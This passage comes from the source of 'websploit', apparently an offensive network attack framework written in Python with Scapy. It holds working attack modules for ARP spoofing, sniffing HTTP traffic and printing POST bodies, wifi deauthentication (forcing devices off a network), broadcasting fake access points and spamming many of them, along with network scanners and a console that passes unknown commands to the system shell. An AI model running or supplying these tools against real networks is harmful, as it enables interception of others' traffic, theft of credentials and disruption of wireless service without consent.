ARP().hwsrc 41 | # send the packet 42 | send(arp_response) 43 | self.cp.success(f"Sent to {target} : {getway} MAC {self_mac}") 44 | 45 | 46 | def _restore(self, target, getway): 47 | self.cp.warning(f"Stoping arp spoofing ...") 48 | target_mac = get_mac(ip=target) 49 | arp_response = ARP(pdst=target, hwdst=target_mac, psrc=getway, op='is-at') 50 | send(arp_response, verbose=0, count=7) 51 | 52 | def complete_set(self, text, line, begidx, endidx): 53 | mline = line.partition(' ')[2] 54 | offs = len(mline) - len(text) 55 | return [s[offs:] for s in self.completions if s.startswith(mline)] 56 | -------------------------------------------------------------------------------- /websploit/modules/http_sniffer.py: -------------------------------------------------------------------------------- 1 | import cmd 2 | from scapy.all import * 3 | from scapy.layers.http import HTTPRequest 4 | from websploit.core import base 5 | 6 | conf.verb = 0 7 | 8 | class Main(base.Module): 9 | """Sniff HTTP traffic""" 10 | 11 | parameters = {"iface": "eth0"} 12 | completions = list(parameters.keys()) 13 | 14 | def packet_handler(self, packet): 15 | if packet.haslayer(HTTPRequest): 16 | url = packet[HTTPRequest].Host.decode() + packet[HTTPRequest].Path.decode() 17 | ip = packet[IP].src 18 | method = packet[HTTPRequest].Method.decode() 19 | self.cp.success(text=f"[+] {ip} Requested {url} with {method}") 20 | if packet.haslayer(Raw) and method == "POST": 21 | self.cp.info(text=f"[+] Raw data: {packet[Raw].load}") 22 | 23 | def do_execute(self, line): 24 | """Execute current module""" 25 | sniff(filter="port 80", prn=self.packet_handler, iface=self.parameters['iface'], store=False) 26 | 27 | def complete_set(self, text, line, begidx, endidx): 28 | mline = line.partition(' ')[2] 29 | offs = len(mline) - len(text) 30 | return [s[offs:] for s in self.completions if s.startswith(mline)] 31 | -------------------------------------------------------------------------------- /websploit/modules/scan_network.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | from websploit.core import base 3 | 4 | conf.verb = 0 5 | 6 | class Main(base.Module): 7 | """Scan IP range for new devices """ 8 | 9 | parameters = { 10 | "ip": "192.168.1.1/24" 11 | } 12 | completions = list(parameters.keys()) 13 | 14 | def do_execute(self, line): 15 | """Execute current module""" 16 | # create arp packet 17 | arp = ARP(pdst=self.parameters['ip']) 18 | # set mac address for broadcasting 19 | ether = Ether(dst="ff:ff:ff:ff:ff:ff") 20 | # stack them 21 | packet = ether/arp 22 | result = srp(packet, timeout=5)[0] 23 | self.cp.green(f"{'IP':<16}\t {'MAC':^15}") 24 | for _, received in result: 25 | self.cp.yellow(f"{received.psrc:<20} {received.hwsrc:^18}") 26 | 27 | def complete_set(self, text, line, begidx, endidx): 28 | mline = line.partition(' ')[2] 29 | offs = len(mline) - len(text) 30 | return [s[offs:] for s in self.completions if s.startswith(mline)] 31 | 32 | 33 | -------------------------------------------------------------------------------- /websploit/modules/scan_wifi.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | from websploit.core import base 3 | import subprocess 4 | 5 | conf.verb = 0 6 | 7 | 8 | class Main(base.Module): 9 | """Scan Wireless devices """ 10 | 11 | parameters = { 12 | "iface": "wlan0" 13 | } 14 | completions = list(parameters.keys()) 15 | 16 | def do_execute(self, line): 17 | """Execute current module""" 18 | try: 19 | self.cp.green(f"{'SSID':<30}\t{'BSSID':^18}\t{'CHANNEL':^9}\t{'SIGNAL':^9}\t{'BARS':^8}\t{'SECURITY':^18}") 20 | result = self.scan() 21 | if result: 22 | for wifi in result: 23 | self.cp.yellow(f"{wifi['SSID']:<30}\t {wifi['BSSID']:^18}\t {wifi['CHANNEL']:^9}\t {wifi['SIGNAL']:^9}\t {wifi['BARS']:^8}\t {wifi['SECURITY']:^18}") 24 | except Exception: 25 | self.cp.error(text=f"Error: Wireless interface {self.parameters['iface']} is busy or monitor mode enabled!") 26 | 27 | def scan(self): 28 | """Scan wifi with nmcli and parse output""" 29 | result = [] 30 | output = subprocess.run(["nmcli", "-t", "-e", "yes","-f", "ssid,bssid,chan,signal,bars,security","dev","wifi"], stdout=subprocess.PIPE).stdout.decode("utf-8") 31 | if output: 32 | # convert it to list 33 | list_output = output.split("\n") 34 | for info in list_output: 35 | # fix bssid escape char 36 | info = info.replace("\:", "-") 37 | try: 38 | info = info.split(":") 39 | result.append({"SSID":info[0], "BSSID": info[1], "CHANNEL": info[2], "SIGNAL": info[3], "BARS": info[4], "SECURITY": info[5]}) 40 | except IndexError: 41 | pass 42 | else: 43 | return None 44 | return result 45 | 46 | def complete_set(self, text, line, begidx, endidx): 47 | mline = line.partition(' ')[2] 48 | offs = len(mline) - len(text) 49 | return [s[offs:] for s in self.completions if s.startswith(mline)] 50 | -------------------------------------------------------------------------------- /websploit/modules/wifi_deauth.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | from websploit.core import base 3 | 4 | conf.verb = 0 5 | 6 | 7 | class Main(base.Module): 8 | """Force device to disconnect from WIFI - De-authentication attack """ 9 | 10 | parameters = { 11 | "target_mac": "11:11:11:11:11:11", 12 | "gateway_mac": "22:22:22:22:22:22", 13 | "iface": "wlan0mon" 14 | 15 | } 16 | completions = list(parameters.keys()) 17 | 18 | def do_execute(self, line): 19 | """Execute current module""" 20 | 21 | self.cp.success(text=f"Starting De-authentication attack on {self.parameters['target_mac']}") 22 | self.cp.info(text="Press Ctrl+C for stop...") 23 | # 802.11 frame 24 | # addr1: destination MAC 25 | # addr2: source MAC 26 | # addr3: Access Point MAC 27 | dot11 = Dot11(addr1=self.parameters['target_mac'], addr2=self.parameters['gateway_mac'], addr3=self.parameters['gateway_mac']) 28 | packet = RadioTap() / dot11 / Dot11Deauth(reason=7) 29 | sendp(packet, inter=0.1, count=1000, iface=self.parameters['iface'], verbose=1) 30 | 31 | def complete_set(self, text, line, begidx, endidx): 32 | mline = line.partition(' ')[2] 33 | offs = len(mline) - len(text) 34 | return [s[offs:] for s in self.completions if s.startswith(mline)] -------------------------------------------------------------------------------- /websploit/modules/wifi_fap.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | from websploit.core import base 3 | 4 | conf.verb = 0 5 | 6 | class Main(base.Module): 7 | """Start Fake Access point (AP) """ 8 | 9 | parameters = { 10 | "ssid": "websploit", 11 | "iface": "wlan0mon", 12 | "mac": str(RandMAC()) 13 | 14 | } 15 | completions = list(parameters.keys()) 16 | 17 | def do_execute(self, line): 18 | """Execute current module""" 19 | 20 | self.cp.success(text=f"Fake Access point started on {self.parameters['iface']}, SSID {self.parameters['ssid']} MAC {self.parameters['mac']}") 21 | self.cp.info(text="Press Ctrl+C for stop...") 22 | dot11 = Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff", addr2=self.parameters['mac'], addr3=self.parameters['mac']) 23 | beacon = Dot11Beacon() 24 | essid = Dot11Elt(ID="SSID", info=self.parameters['ssid'], len=len(self.parameters['ssid'])) 25 | rsn = Dot11Elt(ID='RSNinfo', info=( 26 | '\x01\x00' # RSN Version 1 27 | '\x00\x0f\xac\x02' # Group Cipher Suite : 00-0f-ac TKIP 28 | '\x02\x00' # 2 Pairwise Cipher Suites (next two lines) 29 | '\x00\x0f\xac\x04' # AES Cipher 30 | '\x00\x0f\xac\x02' # TKIP Cipher 31 | '\x01\x00' # 1 Authentication Key Managment Suite (line below) 32 | '\x00\x0f\xac\x02' # Pre-Shared Key 33 | '\x00\x00')) # RSN Capabilities (no extra capabilities) 34 | frame = RadioTap()/dot11/beacon/essid/rsn 35 | sendp(frame, inter=0.1, iface=self.parameters['iface'], loop=1) 36 | 37 | def complete_set(self, text, line, begidx, endidx): 38 | mline = line.partition(' ')[2] 39 | offs = len(mline) - len(text) 40 | return [s[offs:] for s in self.completions if s.startswith(mline)] -------------------------------------------------------------------------------- /websploit/modules/wifi_fap_spam.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | from websploit.core import base 3 | from threading import Thread 4 | from websploit.core.utils import get_fake_mac, get_fake_name 5 | 6 | conf.verb = 0 7 | 8 | class Main(base.Module): 9 | """Spamming Fake access points """ 10 | 11 | parameters = { 12 | "iface": "wlan0mon", 13 | "count": 10, 14 | } 15 | completions = list(parameters.keys()) 16 | 17 | def do_execute(self, line): 18 | """Execute current module""" 19 | process_list = [] 20 | try: 21 | for _ in range(int(self.parameters['count'])): 22 | name = get_fake_name() 23 | mac = get_fake_mac() 24 | p = Thread(target=SpawnAP, args=(name, mac, self.parameters['iface'])) 25 | process_list.append(p) 26 | p.start() 27 | self.cp.success(text=f"Access point name : {name} - MAC {mac} started.") 28 | self.cp.info("Press Ctrl+C for stop ...") 29 | input("") 30 | except KeyboardInterrupt: 31 | self.cp.warning("\nKilling all access points, please wait ...") 32 | # for p in process_list: 33 | # p.terminate() 34 | # p.join() 35 | self.cp.success("Done.") 36 | 37 | def complete_set(self, text, line, begidx, endidx): 38 | mline = line.partition(' ')[2] 39 | offs = len(mline) - len(text) 40 | return [s[offs:] for s in self.completions if s.startswith(mline)] 41 | 42 | 43 | class SpawnAP: 44 | def __init__(self, ssid, mac, iface): 45 | self.ssid = ssid 46 | self.mac = mac 47 | self.iface = iface 48 | self.run() 49 | 50 | def run(self): 51 | dot11 = Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff", addr2=self.mac, addr3=self.mac) 52 | beacon = Dot11Beacon() 53 | essid = Dot11Elt(ID="SSID", info=self.ssid, len=len(self.ssid)) 54 | rsn = Dot11Elt(ID='RSNinfo', info=( 55 | '\x01\x00' # RSN Version 1 56 | '\x00\x0f\xac\x02' # Group Cipher Suite : 00-0f-ac TKIP 57 | '\x02\x00' # 2 Pairwise Cipher Suites (next two lines) 58 | '\x00\x0f\xac\x04' # AES Cipher 59 | '\x00\x0f\xac\x02' # TKIP Cipher 60 | '\x01\x00' # 1 Authentication Key Managment Suite (line below) 61 | '\x00\x0f\xac\x02' # Pre-Shared Key 62 | '\x00\x00')) # RSN Capabilities (no extra capabilities) 63 | frame = RadioTap()/dot11/beacon/essid/rsn 64 | sendp(frame, inter=0.1, iface=self.iface, loop=1) 65 | -------------------------------------------------------------------------------- /websploit/websploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # check dependencies before start 3 | from .core.utils import check_dependencies 4 | check_dependencies() 5 | 6 | import cmd 7 | import os 8 | from .modules import * 9 | from .modules import module_list, all_modules 10 | from .core.utils import logo, CPrint, about, update 11 | 12 | 13 | completions = module_list() 14 | 15 | 16 | class Main(cmd.Cmd): 17 | # check for update 18 | update(where="main_menu") 19 | 20 | intro = logo() 21 | cp = CPrint() 22 | 23 | prompt = 'wsf > ' 24 | doc_header = 'Commands' 25 | undoc_header = 'Undocumented Commands' 26 | 27 | def do_use(self, line): 28 | """Select module for modules""" 29 | if line in module_list(): 30 | 31 | module = globals()[line] 32 | if hasattr(module, 'Main'): 33 | module = module.Main() 34 | module.prompt = f"wsf > {line} > " 35 | module.cmdloop() 36 | else: 37 | self.cp.error(text=f"*** Module `{module}` not has `Main` class!") 38 | 39 | else: 40 | self.cp.warning(text=f"*** Module {line} not found!") 41 | 42 | def do_show(self, line): 43 | """Show available modules""" 44 | all_modules() 45 | 46 | def do_exit(self, line): 47 | """Exit""" 48 | return True 49 | 50 | def complete_use(self, text, line, begidx, endidx): 51 | mline = line.partition(' ')[2] 52 | offs = len(mline) - len(text) 53 | return [s[offs:] for s in completions if s.startswith(mline)] 54 | 55 | def default(self, line): 56 | cmd, arg, line = self.parseline(line) 57 | func = [getattr(self, n) for n in self.get_names() if n.startswith('do_' + cmd)] 58 | if func: # maybe check if exactly one or more elements, and tell the user 59 | func[0](arg) 60 | else: 61 | os.system(line) 62 | 63 | def do_about(self, line): 64 | """About Us""" 65 | about() 66 | 67 | def do_update(self, line): 68 | """Check for update""" 69 | update(where="update_command") 70 | 71 | 72 | def start_wsf(): 73 | try: 74 | Main().cmdloop() 75 | except KeyboardInterrupt: 76 | print("\nBye!") 77 | 78 | if __name__ == '__main__': 79 | start_wsf() --------------------------------------------------------------------------------